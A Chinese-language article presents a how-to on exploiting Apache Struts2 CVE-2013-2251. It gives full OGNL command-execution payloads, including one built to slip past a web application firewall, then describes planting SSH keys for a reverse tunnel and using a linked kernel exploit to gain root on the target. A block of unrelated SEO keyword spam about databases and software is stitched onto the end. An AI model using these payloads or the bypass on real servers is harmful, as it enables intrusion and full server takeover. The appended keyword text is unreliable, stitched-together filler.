千家信息网

如何利用Struts2漏洞绕过防火墙获取Root权限

发表于:2024-09-21 作者:千家信息网编辑
千家信息网最后更新 2024年09月21日,如何利用Struts2漏洞绕过防火墙获取Root权限,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。关于Apache struts2 CV
千家信息网最后更新 2024年09月21日如何利用Struts2漏洞绕过防火墙获取Root权限

如何利用Struts2漏洞绕过防火墙获取Root权限,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

关于Apache struts2 CVE-2013-2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为"action:"/"redirect:"/"redirectAction:"的参数,在Struts 低于2.3.15的版本框架中实现远程代码执行。此次测试中,我不仅绕过了WAF防火墙实现远程代码执行,还利用了某Linux提权漏洞获取了目标服务器的root管理控制权。整个过程如下:

构造Payload被WAF拦截

首先我在测试一个旅游预订网站的时候,发现了其网站存在有漏洞的Apache Struts框架,又对"action, redirect,redirectAction"漏洞参数进行了必要的测试,为了实现漏洞利用,需要构造一个OGNL表达式,从这个网站上我得到了一些启示,由此,我构造了一个执行命令"ifconfig"的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{' ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

但不出所料,以上Payload却被目标服务器上的应用层防火墙拦截了,返回了以下bots响应页面:


这时,我总会从根本性上来分析问题,之前提到过,漏洞参数中涉及 "Redirect",而上述Payload也是利用了 "Redirect"参数构造的,那我们再对目标网站的请求作个Redirect测试吧,把请求跳转到假设网站http://www.goal.com上来,如下:

构造Payload绕过WAF

可以看到,最终响应页面中是一个指向假设网站http://www.goal.com的302跳转页面。上述直接的Payload被防火墙阻挡了,而这里的跳转却能生效,那两者结合是不是可以玩个防火墙绕过呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{' ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

测试后发起的请求如下:


响应测试后,竟然能绕过防火墙执行ifconfig命令,哈哈,是时候欢呼了!

SSH方式获取shell

好吧,接下来,我就来尝试远程管理权限获取。我使用了反向SSH隧道和公钥身份验证进行了尝试,这种方式,允许SSH用户无需输入密码即可登录。为此呢,我需要把我入侵测试服务器AWS的SSH公钥放到目标服务器的授权认证列表~/.ssh/authorized_keys中去,并且,为了证实身份和作反向SSH连接,我还必需在我的测试服务器中添加进目标服务器的id_rsa.pub公钥。这里涉及的公钥认证概念可参考此处public key authentication说明。

id_rsa.pub是一个用户身份公钥,可以把它添加进其它主机中的authorized_keys文件中,以实现用该用户身份的登录行为。authorized_keys则是允许登录到该特定服务器上的特定用户的公钥列表。

第一步,获取目标服务器的id_rsa.pub文件:

第二步,把authorized_keys文件复制到我的AWS测试服务器中:

第三步,将我AWS测试服务器中构造好的authorized_keys文件复制回目标服务器中:


使用SSH反向实现最终连接:

root提权

看到了吧,可以获取远程管理权限,但却不是root管理员身份。好吧,为了要root身份提权,我来看看目标服务器上的Linux内核版本:


是 2.6.32 版本的,Google一下,看看有没有对应的漏洞,哇,竟然有一个对应的系统提权漏洞:https://github.com/realtalk/cve-2013-2094 ,最终编译运行exploit,实现root提权:


好吧,以上就是我利用apache strut 2漏洞,绕过WAF并结合某Linux提权漏洞实现的一次渗透测试。

看完上述内容,你们掌握如何利用Struts2漏洞绕过防火墙获取Root权限的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 服务器 服务 测试 目标 防火墙 防火 公钥 网站 身份 权限 参数 文件 用户 管理 代码 版本 问题 页面 登录 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 软件开发较受大众喜爱 苏州企业软件开发报价 网络安全宣传周研讨会 舜宇软件开发咋样 深圳中金众联互联网科技集团 2019年5月6日网络安全 移动通信网络技术的含义 战地5服务器怎么开始 网络安全教育2000字征文 软件开发中的运行环境和运行平台 西城区综合网络技术服务优点 数据库使用时间 宿州求职招聘软件开发 数据库外键约束如何查看 小班网络安全总结我不玩手机 黄河服务器起动之后出现一个白杠 手机软件一直显示服务器出错 网络安全在我身边心得 一般财务软件开发 请问什么是数据库的构建 滴滴车主4g连接不上服务器 数据库配置中哪些是隐藏 网络安全工作的情况汇报 达梦数据库前台启动 软件开发前景及工资 以网络安全为主的手抄报图片 村乡村展网络安全教育的说明报告 数据库技术与原理课程设计 软件开发学成怎么找工作 大学数据库开发学什么
0